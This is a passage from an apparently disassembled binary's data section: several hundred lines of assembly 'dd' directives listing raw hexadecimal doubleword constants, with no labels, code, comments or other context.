		dd 0F3085966h, 0F6CB02E0h, 480D33Ah, 7539E938h,	8A5AE9ABh
		dd 9DE2805Ch, 0D6E67F51h, 0C9A80E34h, 0CBD59583h, 4E22EEADh
		dd 0BF12FABBh, 1483DB9h, 0A3552D12h, 7BF24B53h,	2AE0A84h
		dd 7D05F001h, 0A52757C4h, 0FDA668CCh, 0E6E9C32Bh, 3CD12CBAh
		dd 0F47C3046h, 3EE05D82h, 5F654A33h, 30AF8BB6h,	0C0E953EEh
		dd 0AA412FFBh, 63F56CA7h, 3599FC6Ah, 43005F85h,	53FFF1EFh
		dd 0FD8926EDh, 5652C0B3h, 1F135B68h, 0B00535C3h, 0FB9992A8h
		dd 68D1902Eh, 0DFC90BB9h, 2572D4A9h, 5EEBB251h,	43C5ACBEh
		dd 304F4A2Ah, 8BD869AFh, 48316832h, 0D40C3442h,	8102EEFh
		dd 81BE030Eh, 0D47B461Eh, 9E77B813h, 0ABC4B012h, 56A88BFAh
		dd 867610AEh, 0EBEC582Fh, 137A2D20h, 8C2E2868h,	7917F071h
		dd 0D6ED375Ah, 96E7E90Bh, 5FFB13A2h, 2791F0DDh,	773A9F8Ah
		dd 335A29C2h, 0C2B7C50Eh, 0C2FE37E1h, 0B85D3C35h, 8284FA5Dh
		dd 490EB040h, 0D19E12Ch, 18C8308h, 0EE41FDBBh, 77CAEB7Ch
		dd 9DF7C3C9h, 0DF015FCAh, 6AFBB951h, 5B3FB7E1h,	0A49EA6BDh
		dd 6127C230h, 2F5071C5h, 0F66B20h, 2FB95A88h, 8FC6DB74h
		dd 92ED76C6h, 0C4847A9Fh, 38DFEDBh, 0C234CC80h,	5BF76AA4h
		dd 676A311Bh, 6955D5F9h, 5C016EDh, 93553119h, 5C7C4CD9h
		dd 82ECF25Eh, 5F506866h, 8AC1B7Eh, 0A7607116h, 50DBE951h
		dd 0CEE6C50h, 45308D5Fh, 202C960Eh, 0F5017046h,	6D9D3291h
		dd 2E3EE13Ah, 81E670BBh, 5B9F02C6h, 0DC0ECBEEh,	0D5B92750h
		dd 0AB313805h, 2687990h, 0B84FA96Eh, 0B424FA8h,	48E83112h
		dd 4DFEA0D7h, 5116285Eh, 0C9341268h, 0C83C1225h, 5DF10806h
		dd 62FA5017h, 0C2A48D88h
		dd 0C881C166h, 544C30F6h, 1EFA04E3h, 11C91847h,	6202C781h
		dd 0C15AE80Eh, 2ACF4EFh, 250A38Bh, 85D962FFh, 8A433532h
		dd 8501F280h, 2CB11BB8h, 0E3F8C145h, 6C63C1A4h,	0D0A80525h
		dd 3441DB1h, 0B056DE80h, 5BFBF6F5h, 5F90D0E1h, 0B800505Eh
		dd 30E41ECEh, 0E25D8F7h, 71C10651h, 411B44A0h, 68000D07h
		dd 48452360h, 27142135h, 365876BCh, 90890220h, 0EE3A1DFh
		dd 34255422h, 32842E59h, 72C1B050h, 84C3066Ah, 2AE58931h
		dd 21C979FFh, 0D15FC2E5h, 9AC44FD6h, 0EB099450h, 4DA5D497h
		dd 5C1A83E8h, 89037A58h, 29004C66h, 15A92C46h, 2C61C981h
		dd 1908F7Fh, 0E46D3EF1h, 59E14048h, 0FC16055Dh,	8FF031A7h
		dd 62102DE9h, 0F881309h, 0F783F08h, 5088730Eh, 9389FACFh
		dd 0E727C454h, 1F688418h, 0C126F813h, 798B235Ah, 9D10DE72h
		dd 59581776h, 0E34FA5F8h, 2BE9C3F2h, 5ED0587h, 0B17D6CEAh
		dd 0F15B40C5h, 354C3140h, 41FB5E10h, 272D9A3Bh,	11857BD9h
		dd 7BA299AFh, 4B9CEA8h,	4A40DBDFh, 150C3B90h, 0A43F4F0Bh
		dd 5409F3B9h, 7003F0B1h, 1FDE20DAh, 943B5B4Dh, 17AA4AD0h
		dd 899A2516h, 2BA82A61h, 4EC4E913h, 326C665Ch, 0E99E2710h
		dd 52146049h, 222086BAh, 53687D83h, 502CC160h, 0EF40134Eh
		dd 2DD2862Ch, 8D60A777h, 0A928798Fh, 6F0A8A64h,	961D4841h
		dd 4344F205h, 2B9FB40Bh, 8773510Ch, 0E4585A5Bh,	4F53E00Bh
		dd 3DE6D0BFh, 1109336Bh, 9871FD01h, 0C0EB2945h,	0A11F931Eh
		dd 4B924A48h, 2C5BCFEDh, 294A7258h, 497B64E7h, 0E94F8FDCh
		dd 8CEFD2A1h, 5564A93Bh, 0FBB97447h, 4CC1EA01h,	0DB016D54h
		dd 889C2C2h, 7AD95882h,	8827FA51h, 9D487A25h, 0AE219B00h
		dd 0C387BA70h, 59CA310Bh, 0AA64C06h, 976818B3h,	9FA2594Ah
		dd 0EBFCDD9Ah, 4BD35C70h, 0B0E0ECE0h, 50215327h, 17579879h
		dd 0AE4DC97Eh, 5B001714h, 0D501A041h, 406B1EE9h, 40AEC251h
		dd 5E5B10B0h, 72692CABh, 56F82DD6h, 5D30214Ch, 42CF8DAh
		dd 8F84B64h, 5A72A3C0h,	634E7857h, 0EB2941D7h, 91C953EBh
		dd 97DD2B48h, 0D2E4982Bh, 9BF1A40h, 1C530776h, 682E89D7h
		dd 4A87E923h, 0D9C8AFB1h, 0F96C18E1h, 62EE0C43h, 7841AD2Fh
		dd 0D4B2053h, 0CA045F7Eh, 64F5EBCh, 74B990AFh, 9720AD58h
		dd 0D6092729h, 0B9B22775h, 75D57FF0h, 4AFDF641h, 0B68DEC54h
		dd 28450B72h, 627D23F4h, 0E9080272h, 25F65CB5h,	642FFDD0h
		dd 6347568h, 0B618D2ABh, 0C65F82B7h, 581D1254h,	900AAF6Ch
		dd 5B1308EEh, 0E9C6DCBBh, 0FF55372Dh, 0A9D9F733h, 4B2322DFh
		dd 585109EBh, 0F9093F73h, 0E97C985Fh, 91804AAEh, 0A8A095DBh
		dd 7A0F3141h, 8533FC16h, 5EFBBB14h, 2F19D049h, 0E095059h
		dd 1B3230B5h, 0A33189DFh, 14F5BC21h, 0FAD1F33Ah, 0BF933B5Ch
		dd 0C5895EB4h, 0BA5650FEh, 55762420h, 0F9B1714Ah, 2BA13E68h
		dd 275A032Fh, 20C6C4A8h, 12409718h, 9A2D19AAh, 4FCAB9AEh
		dd 0D6665847h, 326CFE30h, 25E90D06h, 3C694411h,	2A67616Ch
		dd 1009DE09h, 903BDEh, 992D8406h, 1220D6Eh, 458CD048h
		dd 61A13108h, 3CEA2E61h, 7599B95Bh, 990899ACh, 0BC66126Dh
		dd 43CB85ADh, 3A8F44EFh, 0C78EBF9Fh, 5A8FEA4Bh,	46DE4B77h
		dd 0D9949D52h, 0F687C203h, 92EAD0DAh, 0CA18E1E2h, 17898124h
		dd 0E8026D7Ch, 0D2B0497h, 0F707311Ch, 0C3D125D9h, 23D0EB1Bh
		dd 0A25FE97Dh, 821227FFh, 245C6D2Ah, 8569EAADh,	0BCF85E08h
		dd 3C34924h, 7B9F19DAh,	0AFA55BE1h, 0FBA8DD30h,	0FDAE08EBh
		dd 142CBE00h, 9D46456Bh, 198318F4h, 0B068C562h,	793111E6h
		dd 5BE971ACh, 0C428F822h, 590F05F3h, 0E48835C5h, 1B598EFFh
		dd 72EE2E14h, 8F19180Eh, 3A5A42Ah, 1399F188h, 0AD53C00Bh
		dd 2C0841C5h, 0D8ABA5B9h, 5B92406Bh, 0F9F7661Ch, 605968C5h
		dd 0B677E82h, 0CEEA9800h, 6B5BB2BAh, 0FF7510A8h, 60D13001h
		dd 93BA3A00h, 7FAA8669h, 5B6B9571h, 0FB75E292h,	2DE82900h
		dd 5470387Fh, 754659FCh, 2406FE5Eh, 326F129Ch, 0B6C507B2h
		dd 0C10343DEh, 0CC8305E1h, 31DF24D0h, 0C4B658Dh, 8401829Bh
		dd 928C5677h, 528EBE5Eh, 4C13812h, 13426467h, 84FAF2AEh
		dd 0D8AF689Ch, 0BD435546h, 5F5BC810h, 0E9C82CEAh, 6EF73955h
		dd 0FA4D8983h, 7489E21Ch, 75040E92h, 0F3B1FBE4h, 0E2BC971Eh
		dd 0EA5A85F4h, 382A50B1h, 1D4A684Dh, 8FAEA484h,	0B3B20016h
		dd 4EE9D388h, 0A54294EDh, 5E99037Fh, 46662556h,	23C30D6Bh
		dd 5FC5B09h, 0B18F42Ch,	0EE46354h, 415EBEF0h, 9F7E023h
		dd 0C6685E6Ah, 9F9C50DDh, 83A47E53h, 0D934FDAFh, 381EE498h
		dd 0F6652F6Fh, 3B770084h, 575268ACh, 89E6E927h,	573A5F53h
		dd 25DED85Fh, 77FCE0C0h, 28AD6212h, 0A5A2A1D7h,	9517CB5h
		dd 3A53B44Ch, 1A5F1A3Dh, 0E18582BFh, 4828FC74h,	9C2B12E0h
		dd 0C3503151h, 121288A8h, 0C7007D63h, 471477FAh, 0E9C6C593h
		dd 0EFEAD50Ah, 776864C2h, 0C6A12678h, 0AED76EEBh, 0BAEDF66Fh
		dd 9ACD2850h, 9DF53C97h, 3C7ED51Eh, 67D556A5h, 0F4DE2D78h
		dd 7F4B1609h, 0E915B796h, 25E166F0h, 0DB20574Fh, 4BC17512h
		dd 0D6525825h, 360558C8h, 0BA51E500h, 56674D8Dh, 0F5F25031h
		dd 351D5E33h, 0B281812Ch, 2F573013h, 6856213h, 39D8FACh
		dd 0E2524C8h, 0EDD52004h, 0FDC2BD8Eh, 0C1090155h, 5DF1F858h
		dd 6B6C4C0Bh, 0B4AF5D41h, 0FE57C4BDh, 18E3BC4Bh, 0B346C729h
		dd 4C930223h, 0DE9FE958h, 0C09B7BDFh, 0FBFF6C03h, 719DAA98h
		dd 20EE221Eh, 68F2588Ch, 0F6473020h, 1979C2Ch, 0B8430DB9h
		dd 2A59E93Ch, 879B1CC4h, 4312284Bh, 5D13CDB6h, 863740BFh
		dd 59161B69h, 0F01E7797h, 0BB00A394h, 7D367473h, 84CB0181h
		dd 0E913302Eh, 87916AFEh, 53F8653h, 16D2F684h, 301F06h
		dd 4AC480FCh, 94A0E328h, 92BF62D3h, 0BE8F5DEDh,	0FF53DD64h
		dd 912F6D8Dh, 7BB19C8Ah, 1AB27540h, 0BD76C0h, 893FE54Fh
		dd 26C4C581h, 17679FAh,	809BEA2h, 0A1208DDAh, 0DFB80785h
		dd 0A567026Ch, 5E3890F9h, 50179ABAh, 30ED58AEh,	7859E202h
		dd 0AB4134AFh, 120BFC21h, 499A683Bh, 3B698137h,	97005231h
		dd 0D1E4947Fh, 0C804E75Eh, 1028C54h, 0B1C42DF0h, 8D645E5Eh
		dd 0BC4F7AB2h, 0D0E9E1B7h, 0BF615BFh, 18FE78DBh, 8E8B7AC5h
		dd 51327F71h, 0B0894056h, 48DB54C4h, 0F8E942B0h, 8812DD78h
		dd 96A8FECAh, 0F601F248h, 0CFE950D9h, 7C28657Dh, 0C7AB4EB0h
		dd 58C703ABh, 0B4500603h, 0C5E72874h, 0D4A167EEh, 0A5F7EC2Eh
		dd 5DA205B8h, 0E9C13074h, 0CC3BD3ECh, 298971A6h, 80E59931h
		dd 50752D02h, 0F0594FE5h, 0C2273D8Eh, 65DC8E13h, 0A1D05F0h
		dd 0D152F947h, 50E92DF5h, 0BF21E90Bh, 0F8278C24h, 3E291094h
		dd 1E672250h, 94440D0Bh, 4E7B7E8h, 0AF09122Bh, 826D4596h
		dd 4D954887h, 0F11F1EE4h, 6B976AA1h, 1D096BACh,	0A3020646h
		dd 285AB9D5h, 77EF316Ah, 942EFF27h, 0BA8285F2h,	86F3B8C0h
		dd 88372DA4h, 3F48E7C8h, 7DCF680h, 0CC80C4FEh, 0BFEC32B9h
		dd 9FE17AD7h, 0E7FBDBFEh, 0EEBCDF49h, 0EB4AE97Eh, 0EC4C7E8h
		dd 29660282h, 161043CDh, 0BFD64992h, 0A84A4ACBh, 706E1966h
		dd 0BE35A8DAh, 5B27B73Fh, 17522691h, 4B79333Fh,	7F685908h
		dd 7A753D73h, 33D59DA2h, 68CF278Eh, 2288977h, 0C657113Dh
		dd 5925B4DFh, 0F3F5FA06h, 60D74B1Ch, 803D8069h,	390029BDh
		dd 0BBF15C9h, 980A50E3h
		dd 38E60908h, 9E4121E1h, 810844C7h, 605FFDBFh, 42C3EEEDh
		dd 0B2440EB8h, 3F606309h, 31417AA6h, 61B47ACDh,	0DF892759h
		dd 1C2694DBh, 0EDA08444h, 0D365BD5Ch, 0FE91C2A6h, 50501954h
		dd 0BA4DDD55h, 0B1C24A3Fh, 2A492E96h, 0C6D255FDh, 0F51D41E1h
		dd 44B8305Eh, 63073502h, 0E9368DE9h, 0A33FBDD4h, 7C9F7810h
		dd 72FF7AE0h, 70524CEBh, 2475611h, 0FB4B9BF6h, 600DC026h
		dd 6A01273Fh, 8A7F9142h, 752D8036h, 58922B1h, 4B318B01h
		dd 9C400C1Dh, 137A8F93h, 0EDDE0198h, 10D3DE9Ch,	597B7CBAh
		dd 20FC6C97h, 525DD231h, 43D5025Ah, 885F2E13h, 5A1307F7h
		dd 0FAA2FC09h, 68D49FFDh, 278DD02Fh, 1418498Bh,	5D823C5Eh
		dd 40513F61h, 825F7AB7h, 0A32F6B7Fh, 73A2E64Eh,	83CD9699h
		dd 0D2C2DE6h, 2E14CDD9h, 0A16E78D1h, 8A9EF469h,	69CC08B6h
		dd 3F32B00h, 3FF359C6h,	7704A2F4h, 293B3C4Bh, 7B858BCFh
		dd 3969081Ch, 7F93149h,	0D5BBD95Eh, 59D6FE1Ah, 0FF2262A7h
		dd 42EBD1D1h, 0FD58FD12h, 484BF109h, 0B18357AFh, 44C826E2h
		dd 982CD01h, 42F02E08h,	60255428h, 285B709Dh, 0DB13C1Eh
		dd 2C9F22E5h, 0F5FC2036h, 60DC3CC1h, 0C8234D3h,	75C0B2Bh
		dd 0A4BFE555h, 0E95241EEh, 0D172F5Ah, 0EB6A24h,	1D56C9E7h
		dd 2FE95F2Fh, 0FBD7EBA6h, 0DBC20034h, 5CA79CBh,	0FC2B9668h
		dd 0F19C1BDh, 0F82074EBh, 0E9A0B7A7h, 0CE80AFB6h, 1DBA2359h
		dd 12E028ECh, 0A9A7A6E9h, 5BBD0BBCh, 0FE9B8295h, 0CF925E8Ah
		dd 14287744h, 22FC05A3h, 0D52449B0h, 308C40C5h,	75C82D68h
		dd 5DAD6B67h, 1DBDDB38h, 0E97B7904h, 98947755h,	0EA09F0h
		dd 702A7E8Bh, 0C229392Dh, 8A5EE9E4h, 0ECBBF384h, 3281B53Ch
		dd 0DA558F7h, 5E3E00Eh,	79F12BB1h, 35AF6048h, 0A4F19209h
		dd 0D5FF8482h, 3AC0491Dh, 636C115Dh, 0AA2C74C9h, 755FCF3Dh
		dd 45A4FE46h, 439D3A4h,	0C943EB6h, 5AB20E58h, 0D929BB40h
		dd 0BD545BF4h, 0AD79B076h, 8B5D1F9Dh, 0E8D161C3h, 59D55119h
		dd 0FD6611A5h, 452EFE9Fh, 6DEA0195h, 82741779h,	23E75C7Ch
		dd 0EF857533h, 1442CF31h, 0C4FED2DFh, 30EEC968h, 0B23FB170h
		dd 0CA0CC870h, 397EB0E9h, 0F3F2B8F0h, 0CD7E93EDh, 87AC422h
		dd 25737048h, 6C22FDC6h, 79C0EEC1h, 9DA44DA0h, 0D1901C5Ah
		dd 2D3C9FF6h, 815C40CBh, 0B057B109h, 8139FB5Bh,	1AC23753h
		dd 0F72670A1h, 18DD40CAh, 0BDA7FCADh, 14693D4h,	8012EEC2h
		dd 0A373BA52h, 31496712h, 0C20E65ECh, 0BE97C1Dh, 51172B5Eh
		dd 0F95E3AF8h, 0A3BAE4B8h, 78151873h, 64D4F61Ch, 955A1A86h
		dd 0CAA70EC3h, 7C1159CCh, 0EF2A2041h, 0EA801670h, 5FEBE6C8h
		dd 0C3E5F0A3h, 28795AEAh, 7F6416CBh, 7FA79E67h,	54CCEEC8h
		dd 0B2325E30h, 60513E3Dh, 7A100C41h, 0E9140B7Bh, 0D7DE4378h
		dd 161836E9h, 5F58752h,	25EB303Dh, 0B80AE020h, 9907127Fh
		dd 0B6F2B052h, 37E07313h, 5F4D0AEh, 9F3C8F85h, 58C792DAh
		dd 0E9F4DCFBh, 6907955Eh, 0C872E128h, 0C514D71Eh, 160BF120h
		dd 9E5C15Ah, 0D301DDDAh, 0E29E1EBFh, 3190A223h,	0E6A6294Ah
		dd 0CDD850DAh, 993D3A1Eh, 9C85963Eh, 730476F9h,	0EE3B9159h
		dd 68EEBFD0h, 8C644A79h, 15197201h, 57837A1h, 0BF16AB04h
		dd 59C38FFh, 7CB5DBA4h,	925752F5h, 0CE57741Eh, 8AF1E56Bh
		dd 1C997569h, 6FF359F5h, 504CFFB2h, 581AF73Ch, 0A0D72D53h
		dd 0C730EE48h, 4001471Dh, 0E9165B0Ch, 0C8EB3B8Fh, 98B43171h
		dd 0CE524A26h, 0E9CE3967h, 9E5A30D9h, 0B7E90988h, 444C511Ah
		dd 7340EE11h, 0D6331CF1h, 0C80CC12Bh, 2E05347Ah, 0EFF657ABh
		dd 4B72D5D8h, 0CA153153h, 0E4680038h, 0D29A9756h, 2C23C881h
		dd 0B472205h, 2D2F792h,	0D380F411h, 32C0AD79h, 0C25C0D11h
		dd 82DA3F27h, 91822AF2h, 1D8C7FCAh, 5217C6C6h, 81EA4AA7h
		dd 2C831B5Eh, 7B69437h,	178C26FDh, 0F64029EFh, 0B9FF8785h
		dd 0B89DA49Fh, 0C0B35A27h, 0BF6AF484h, 680E8C8Eh, 0EE177E13h
		dd 0BC4B17CEh, 2CE9C3D4h, 0EF490064h, 7E490285h, 91FCB005h
		dd 40437C5Dh, 0C627E907h, 699E5997h, 89418C8h, 0A82FEA89h
		dd 0C15E2D99h, 3A8038ACh, 110B18BEh, 4CA1293Ah,	72229158h
		dd 0A5D5D26Bh, 0D8BB5924h, 5E36707h, 0EA8513FBh, 5E53942Ch
		dd 5B97E723h, 4B528EA4h, 0CA88BBB2h, 0B54870D0h, 0DD6856D4h
		dd 4A2A1C14h, 0C227E2FCh, 0C218C57h, 0B75316DDh, 0DB50AE2Eh
		dd 90A17B08h, 72AC045Fh, 9C64AF4Eh, 4C9FBC2h, 0E8A5C2B6h
		dd 18972878h, 4A296818h, 519B211Fh, 0E8EAE2E9h,	547AFEF6h
		dd 55358B3Ah, 710A8030h, 0D1A09AB7h, 0E0E9419Eh, 53A62B21h
		dd 5448110h, 795C5369h,	52052DADh, 0AB2CE255h, 0C06F7DDh
		dd 4A1C8428h, 13DDFE5Eh, 0E523F92Fh, 0C2AAE80Dh, 0C170987Fh
		dd 0A668CEC2h, 0BF79A14h, 93F9659Ch, 0F7AC1568h, 50274710h
		dd 7A4EC44Fh, 0E2F424A5h, 25E0BF3Fh, 98943EDBh,	7708B948h
		dd 0CC481F7Fh, 164D434Ch, 0BA330554h, 28245DE2h, 3F2CFA1Dh
		dd 0F7296E13h, 0D33B68ECh, 3145270Ah, 646D06A8h, 7E408A3Eh
		dd 41D21FBAh, 0F9746F26h, 98776989h, 0D35C6860h, 8DDCBAD2h
		dd 0B517F55h, 9A75AB7h,	0ADE9EB00h, 5F308366h, 7B2B0F41h
		dd 870CC015h, 897AA68Ch, 612CCD6Eh, 78E077FEh, 16E7E5FCh
		dd 0B02F5265h, 373035C7h, 29EA0C5Eh, 301361B9h,	2FC5659Ch
		dd 51F79B80h, 0BE544E15h, 86DF0A05h, 0C1149CAEh, 807E060h
		dd 6148DB35h, 58C58068h, 34C17A51h, 336D195Fh, 6B044E04h
		dd 0F5F1AB36h, 2A240804h, 0D27AA6FAh, 82D7E5AFh, 712041D4h
		dd 0F5C0A157h, 0BAC5DFBBh, 0B5C03960h, 351A0649h, 5C2C7BF4h
		dd 0FE98802h, 0C1595467h, 0C5CC3DD1h, 0DD8806ECh, 39E1C217h
		dd 9AC04759h, 0F082BB90h, 537D27A6h, 68133CC6h,	1EC2184h
		dd 30CCBED2h, 274C4F77h, 0EC4A8262h, 8FC6A0F5h,	806C0A37h
		dd 785E0D5Fh, 0E6594BB0h, 7B22C1D8h, 4333F63Dh,	0C7B19AA9h
		dd 80277C2Fh, 7B7188EFh, 4F4E0905h, 88556696h, 0C52D0761h
		dd 9176AF41h, 0FB0521D1h, 7D190087h, 36242FECh,	68610AD1h
		dd 46381A6Dh, 0E27B05C4h, 13AE5F02h, 0E4CEE862h, 580590E2h
		dd 0EF606BE9h, 0DC05B335h, 84B321D4h, 1E6D4D07h, 0E276D33Dh
		dd 2D5D2E0Fh, 2F7EE48Dh, 0C5C04394h, 166D5279h,	9412E957h
		dd 0B641BB26h, 39A15310h, 0D330ABF8h, 0D027041Dh, 7341AF09h
		dd 4B624803h, 0AC580BECh, 0B349EF4h, 647F7407h,	0D020325h
		dd 569A1098h, 4CF24000h, 0E8214233h, 0BD819AE9h, 5488BBD4h
		dd 0F90801D5h, 88C1805Bh, 0E853554h, 0FDE5CD29h, 0A2BE4176h
		dd 7827B00Eh, 210741FEh, 0FFAC3AC3h, 0E653EFE7h, 0D5E983A6h
		dd 575C01A9h, 0BB7356BFh, 7F1F6B4Dh, 94EE8597h,	7DF1EA6Bh
		dd 8B570CA7h, 89341089h, 3FBF80BAh, 64C47D01h, 55DFF74Fh
		dd 842AC5F9h, 61B6BABBh, 8A10D394h, 10B54C22h, 5200E82Dh
		dd 6479A468h, 9BB85A7Dh, 0FC4B7B43h, 4D685FD8h,	8DF209BAh
		dd 8C00F3EEh, 748316FFh, 9DD10124h, 5A790820h, 36A7CB5Eh
		dd 43C44B58h, 0F9500B49h, 56B78028h, 0C7FED7F6h, 0EFD008C3h
		dd 9BFF9380h, 7EE9A8F7h, 4CE6B5C3h, 0A9720930h,	1F50D1C2h
		dd 0B5910DDh, 125DD03Bh, 0AF6B79B9h, 68C3DE25h,	4038F472h
		dd 0EAD19375h, 0DB4102FAh, 84FFB278h, 78AC7305h, 797E9CC1h
		dd 62F0F41Ch, 0FA4CBB92h, 9DF38443h, 0E43435AAh, 0AA5F60F3h
		dd 0A05B9CB7h, 2AF92C3Fh
		dd 683538EFh, 0A21E932Ah, 0B548BB20h, 8D18D471h, 634B68E6h
		dd 0EE8A2540h, 9FEB4D00h, 10CE675h, 80A2FBh, 0E9333108h
		dd 5F354B39h, 0E0FCAF73h, 0DF3EC0ACh, 50CF74E2h, 0BE9D0CC4h
		dd 0FA4B949Ah, 78B3BF49h, 980697A3h, 6C2D9A02h,	3D7B2766h
		dd 41B8DD3h, 0D5B03F0Ch, 8EE0C212h, 0F0C5E0Bh, 0D74ACF29h
		dd 0EF8189BEh, 4E4E43F5h, 5A12FF0Ch, 701A6909h,	9E0BDE6h
		dd 0D74C0696h, 15E94FD8h, 314B0502h, 0A95579B8h, 96965D8Dh
		dd 0A9CC375Bh, 0E5E65EF0h, 2CFA92A9h, 0FC3ED0E1h, 6A6F11Dh
		dd 0E9125666h, 71DA55A1h, 7E7C082h, 88727240h, 1E56FA4Ch
		dd 0F24933CAh, 282F5C74h, 65CD20DEh, 5D2D90B6h,	8901C19Dh
		dd 58B2E9F0h, 0DFEBA26Fh, 7A540549h, 57583235h,	0B103BADCh
		dd 0F5D982AFh, 61E3D1F1h, 0A897488Ah, 4EA0E410h, 0B5F331F4h
		dd 52A11FE3h, 0EBB63F28h, 2FF6387Bh, 75A2F52Dh,	0A05F4F44h
		dd 39F8CB60h, 247CF968h, 0BA520760h, 232F1312h,	0C2DC489Ah
		dd 0DDCCAAFCh, 4359B664h, 34331698h, 47511B99h,	322A459Fh
		dd 0D4742E52h, 20AD5217h, 158CBED2h, 540E594Ah,	1AE081D6h
		dd 0FE35A555h, 5C516DFh, 0C757FAD9h, 652FF7F9h,	0FA94E153h
		dd 41C088Dh, 1003FC14h,	1A4C35FDh, 6529B604h, 0A909AB7Ah
		dd 287B226Dh, 78AD86C3h, 58650106h, 0E913B252h,	4A2E6C74h
		dd 0E6538D81h, 19A1AC28h, 9316BA37h, 0AC892FF9h, 2FDFB96Fh
		dd 7288F45Ch, 0D8B8040h, 214D03Eh, 6D1DF2F3h, 0E0074376h
		dd 9F9D42EFh, 3C4CC9FCh, 536402F1h, 4558E96Dh, 0AFB937A7h
		dd 80512A85h, 8C90A20h,	0F701D327h, 448FF1A3h, 4BC3BF00h
		dd 89F9C509h, 9203FAD9h, 6E586F56h, 0EC174F24h,	40B101EEh
		dd 0D1F72224h, 0CA13Eh,	1E2B51A3h, 60D3F8B7h, 27C2556Dh
		dd 185EB526h, 80534A5h,	95302021h, 548BCD32h, 0DD8EB0FDh
		dd 60399C0Dh, 269FB850h, 577F6A2Eh, 85480709h, 60F98E9Eh
		dd 4A01FD4Bh, 86EEEB68h, 0AEC1C48Ah, 8DBF0431h,	9D853AFCh
		dd 8650B7BAh, 260DB568h, 0ADD46EE9h, 0D297A678h, 1C98EAAFh
		dd 445D5841h, 0DD087068h, 10FD2ADCh, 299DEED2h,	0D24062E0h
		dd 555500E5h, 7236B68h,	0A4D58C9h, 3A0C39A1h, 5EAA32Eh
		dd 19D398Fh, 0A8C01C29h, 0A0681208h, 1A83B307h,	4138123Dh
		dd 0E154314Bh, 0C478B2EEh, 2DA40CDBh, 0B6161631h, 3110AC49h
		dd 3DE90F2Eh, 4AFC4CEAh, 0FD5C1229h, 35BFB0C6h,	52C7CD2h
		dd 114BC6F5h, 8E93AF32h, 0E13CD982h, 0B34E182Ch, 5EF411C4h
		dd 0A16CEE02h, 0D0D72AECh, 0DB9F599Ch, 1239F448h, 7D70C2BCh
		dd 37762DD5h, 53A38FFh,	9F1E2F3Ah, 2D51F6F0h, 0CA5DF207h
		dd 11FE55CAh, 0F33E15A6h, 24856082h, 3CE59D17h,	5F2A5598h
		dd 0EA92BDF3h, 0CB15797Fh, 8C898AD4h, 22C76C22h, 5EB15816h
		dd 4A2F9627h, 3EE7E188h, 5CF172BAh, 88D8F17Dh, 802D2DAEh
		dd 0E12CC4DBh, 4C83A28h, 2CE93B50h, 89EFB7DCh, 3046415Bh
		dd 36F5D4C6h, 27CD907Fh, 57D92F6Fh, 0D038FE83h,	7895EA7Dh
		dd 0A8F194FCh, 6B240564h, 0E2CF89AAh, 5BEDDF8h,	428C4465h
		dd 6E7939C0h, 0C85A48DEh, 835F3164h, 0AE843E61h, 0E98277B3h
		dd 66F7C23Dh, 591E25DAh, 0F4644655h, 85C858D5h,	4B26C581h
		dd 6A5EF908h, 3C207C8Bh, 2F84506Eh, 1BD6DDB7h, 3491C457h
		dd 0C036FD65h, 6142EB00h, 2BC9813Ah, 2A1F0D1Dh,	0A4F2F18Eh
		dd 0A3AE27B5h, 125C4871h, 20007531h, 6FD169AFh,	9AF95129h
		dd 2FB60806h, 0F8A1085Bh, 20765D1Ch, 5A9FDA95h,	0B5C2047Ch
		dd 0C052E539h, 97674202h, 0D721A009h, 901AD75Ah, 66AA21DFh
		dd 0DCC60244h, 5AE90BFAh, 0F204D1DAh, 0AA2EB30h, 840FEDEAh
		dd 0FCC0DDF7h, 603E37A8h, 0F8C94820h, 310B83D8h, 0E07DE9FDh
		dd 4C7A685Dh, 4D67849h,	18B014EAh, 19355B62h, 0AE4A7F2Dh
		dd 0E486E856h, 5F4EF1B2h, 6086D9ABh, 5B6653Ah, 0D2634C63h
		dd 28C55F1Dh, 40A97EA7h, 3D474E7Ch, 0F64B7EC4h,	0C66BA00h
		dd 0BB05013Eh, 0C379E0D7h, 0EB8177D0h, 315106AEh, 34CB2907h
		dd 0C981109Dh, 1E865B19h, 7C18ED92h, 8C2C55ABh,	3194C05h
		dd 0AB380606h, 0BAC8E83Dh, 94B67E03h, 3FA9A125h, 702EE836h
		dd 8565D93Fh, 0B113951Bh, 0D8441CFFh, 20B788F3h, 5E5E177Eh
		dd 91A3736h, 0EF63CB2h,	0ADFC25Dh, 8742E008h, 6F680176h
		dd 8F643C31h, 0CD98C455h, 50F2BDAAh, 2BFF5F33h,	0E9F330BEh
		dd 0EE963863h, 0A3D4044Fh, 4A05E2EEh, 0B55ADC8Ch, 0E0FFEECBh
		dd 94E9390Bh, 7914259h,	7FF45D7Dh, 0A2E8A039h, 22E9800Bh
		dd 462F29Bh, 0DE44739Bh, 52E95B84h, 2077DC3h, 711B2218h
		dd 0B624A01h, 69D00408h, 1D668BCCh, 3C518D68h, 0E99C704Bh
		dd 0BC5649Dh, 0B5EE2B25h, 0C2F445E9h, 735EBD5Dh, 7D27E9A6h
		dd 504E82C4h, 0B47A71FEh, 54C92A94h, 3C56109Eh,	0D3EDFDDBh
		dd 5AE4F7BFh, 0BEA664FAh, 871720CBh, 0EC74BB5Bh, 2A440E80h
		dd 0E780BDDEh, 16AE40EDh, 35E7A092h, 840B041Fh,	0A217132Dh
		dd 7B95E40h, 7D91BAB4h,	878B5AA2h, 0A46E4A78h, 474907F6h
		dd 97F53B15h, 0C1316540h, 0CC42C231h, 43C7CA2Ah, 6A68C115h
		dd 0EB82480h, 5652047h,	98FE480Ah, 6412C8F0h, 944337EAh
		dd 64BFC32h, 456BD32Dh,	5F828DEh, 0BB449F07h, 0FC3FA525h
		dd 0A0D16490h, 3E056873h, 5E424E73h, 2B4CC9BFh,	66C7A0h
		dd 0B825F54Dh, 0E3A6DA26h, 739F02B8h, 5DEE812Ch, 0FD69D407h
		dd 8C3885C6h, 6C80AD5Fh, 5A7D1C3h, 0DEE96326h, 82E3FAF8h
		dd 940FD518h, 0E1ED315Fh, 5BE27827h, 0D4E4C0ADh, 8A3BE3Eh
		dd 55CFE982h, 256F7954h, 0E4E9330Fh, 0B913BA3Ch, 1D29EB06h
		dd 0B87FE0CDh, 650FF5C8h, 31FE12ACh, 76604EDCh,	0AD5317E9h
		dd 0B5F259A4h, 5E0B55DCh, 8F868442h, 0BFDE74FBh, 0AD38397Dh
		dd 0D21EFF8Fh, 7CC4BF61h, 61837DAAh, 50AE11F4h,	85FD6B4h
		dd 68815EDBh, 33C0C7Ch,	0E1D0AA22h, 0FE278738h,	0E9EA82FFh
